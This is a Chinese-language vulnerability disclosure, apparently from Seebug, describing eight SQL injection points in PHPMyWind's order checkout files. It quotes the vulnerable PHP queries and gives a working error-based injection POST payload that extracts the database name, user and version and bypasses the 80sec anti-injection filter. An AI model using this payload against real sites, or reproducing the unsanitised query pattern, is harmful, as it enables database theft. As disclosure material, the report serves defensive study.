### 简要描述: PHPMyWind某处设计失误导致7-8处SQL注入 ### 详细说明: 经过简单审核发现phpmywind的一个漏洞集群,其实是设计原因导致的,总共会导致8处SQL注入,涉及的文件有两个分别是order.php 和 orderenter.php。漏洞核心在于$orderinfo在传输值的时候没有经过SQL注入的过滤。详述如下: 首先进入order.php,该页面用于填写商品订单信息,这里就生成了一个$orderinfo这个变量。 if($action == 'save') { //检测数据完整性 if($username == '' or $truename == '' or $telephone == '' or $zipcode == '' or $postarea_prov == '-1' or $address == '' or $idcard == '' or $postmode == '-1' or $paymode == '-1' or $getmode == '-1' ) { header('location:order.php'); exit(); } //HTML转义变量 $username = htmlspecialchars($username); $truename = htmlspecialchars($truename); $idcard = htmlspecialchars($idcard); $telephone = htmlspecialchars($telephone); $zipcode = htmlspecialchars($zipcode); $address = htmlspecialchars($address); $buyremark = htmlspecialchars($buyremark); $posttime = time(); $postarea_prov = empty($postarea_prov) ? '-1' : $postarea_prov; $postarea_city = empty($postarea_city) ? '-1' : $postarea_city; $postarea_country = empty($postarea_country) ?...
### 简要描述: PHPMyWind某处设计失误导致7-8处SQL注入 ### 详细说明: 经过简单审核发现phpmywind的一个漏洞集群,其实是设计原因导致的,总共会导致8处SQL注入,涉及的文件有两个分别是order.php 和 orderenter.php。漏洞核心在于$orderinfo在传输值的时候没有经过SQL注入的过滤。详述如下: 首先进入order.php,该页面用于填写商品订单信息,这里就生成了一个$orderinfo这个变量。 if($action == 'save') { //检测数据完整性 if($username == '' or $truename == '' or $telephone == '' or $zipcode == '' or $postarea_prov == '-1' or $address == '' or $idcard == '' or $postmode == '-1' or $paymode == '-1' or $getmode == '-1' ) { header('location:order.php'); exit(); } //HTML转义变量 $username = htmlspecialchars($username); $truename = htmlspecialchars($truename); $idcard = htmlspecialchars($idcard); $telephone = htmlspecialchars($telephone); $zipcode = htmlspecialchars($zipcode); $address = htmlspecialchars($address); $buyremark = htmlspecialchars($buyremark); $posttime = time(); $postarea_prov = empty($postarea_prov) ? '-1' : $postarea_prov; $postarea_city = empty($postarea_city) ? '-1' : $postarea_city; $postarea_country = empty($postarea_country) ? '-1' : $postarea_country; $orderinfo = array('truename' => $truename, 'telephone' => $telephone, 'zipcode' => $zipcode, 'postarea_prov' => $postarea_prov, 'postarea_city' => $postarea_city, 'postarea_country' => $postarea_country, 'address' => $address, 'idcard' => $idcard, 'postmode' => $postmode, 'paymode' => $paymode, 'getmode' => $getmode, 'buyremark' => $buyremark, 'posttime' => $posttime); //存入COOKIE setcookie('orderinfo', AuthCode(serialize($orderinfo),'ENCODE')); header('location:orderenter.php'); exit(); } Phpmywind可以在url中定义变量,因此orderinfo中数组中每个变量都可以通过URL参数进行设定,但是注意,这里并没有进行任何SQL注入字符过滤操作,htmlspecialchar只能解决XSS!!! 然后把$orderinfo加密后存放到cookie的orderinfo字段中,转到orderenter.php页面 漏洞来了!!! 这个页面中大量使用了orderinfo数组中的变量 1.$r = $dosql->GetOne("SELECT `postprice` FROM `#@__postmode` WHERE `id`=".$orderinfo['postmode']); 2.$sql = "INSERT INTO `#@__goodsorder` (username, attrstr, truename, idcard, telephone, zipcode, postarea_prov, postarea_city, postarea_country, address, ordernum, postmode, paymode, getmode, weight, cost, amount, buyremark, posttime, orderid, checkinfo) VALUES ('$username', '$attrstr', '".$orderarr['truename']."', '".$orderarr['idcard']."', '".$orderarr['telephone']."', '".$orderarr['zipcode']."', '".$orderarr['postarea_prov']."', '".$orderarr['postarea_city']."', '".$orderarr['postarea_country']."', '".$orderarr['address']."', '$ordernum', '".$orderarr['postmode']."', '".$orderarr['paymode']."', '".$orderarr['getmode']."', '".$orderarr['totalweight']."', '".$orderarr['cost']."', '".$orderarr['totalprice']."', '".$orderarr['buyremark']."', '".$orderarr['posttime']."', '$orderid', 'confirm')"; 3.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=0 AND `datavalue`=".$orderinfo['postarea_prov']); 4.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=1 AND `datavalue`=".$orderinfo['postarea_city']); 5.$r = $dosql->GetOne("SELECT `dataname` FROM `#@__cascadedata` WHERE `datagroup`='area' AND level=2 AND `datavalue`=".$orderinfo['postarea_country']); 6.$r = $dosql->GetOne("SELECT `classname`,`postprice` FROM `#@__postmode` WHERE `id`=".$orderinfo['postmode']); 7.$r = $dosql->GetOne("SELECT `classname` FROM `#@__paymode` WHERE `id`=".$orderinfo['paymode']); 8.$r = $dosql->GetOne("SELECT `classname` FROM `#@__getmode` WHERE `id`=".$orderinfo['getmode']); ,共有8处,而这8处均可以作为SQL注入的注入点。 我以paymode变量注入为例 $r = $dosql->GetOne("SELECT `classname` FROM `#@__paymode` WHERE `id`=".$orderinfo['paymode']); 解释并验证漏洞存在性 首先我注册一个用户 然后进到goods.php中随意选中一件物品点击加入购物车,然后点击结算购物车,选中物品点击下一步,进入到order.php页面然后通过firefox浏览器构造SQL注入payload 具体: url: http://127.0.0.1/phpmywind/order.php post数据: truename=11111111&telephone=11111111111111&zipcode=11111111&postarea_prov=1500&postarea_city=1501&postarea_country=-1&address=11111111111111&idcard=11111111111111&postmode=2&paymode=1 and 1=2 and char(@`'`)=(SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b)# and '1'='1&getmode=1&buyremark=111111111111111&username=listen1&amount=5499&weight=0.35&action=save 虽然phpmywind使用了80sec防注入,但是依旧可以绕过。其实就是截取正常数据包然后修改paymode变量为错误回显注入的代码 点击发送 查看结果: [<img src="https://images.seebug.org/upload/201410/15161520f2cec77f948c4f173a1eaab6eb28349c.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/15161520f2cec77f948c4f173a1eaab6eb28349c.png) 没有问题,之前被这个80sec弄得好惨,仔细研究过才绕过,苦逼啊。。。就这样了。其他7处漏洞原理一模一样,不再赘述。有问题联系franklin1990@126.com. ### 漏洞证明: [<img src="https://images.seebug.org/upload/201410/1516153809b228b62311cc370a234eca313f9f10.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/1516153809b228b62311cc370a234eca313f9f10.png) 验证流程如上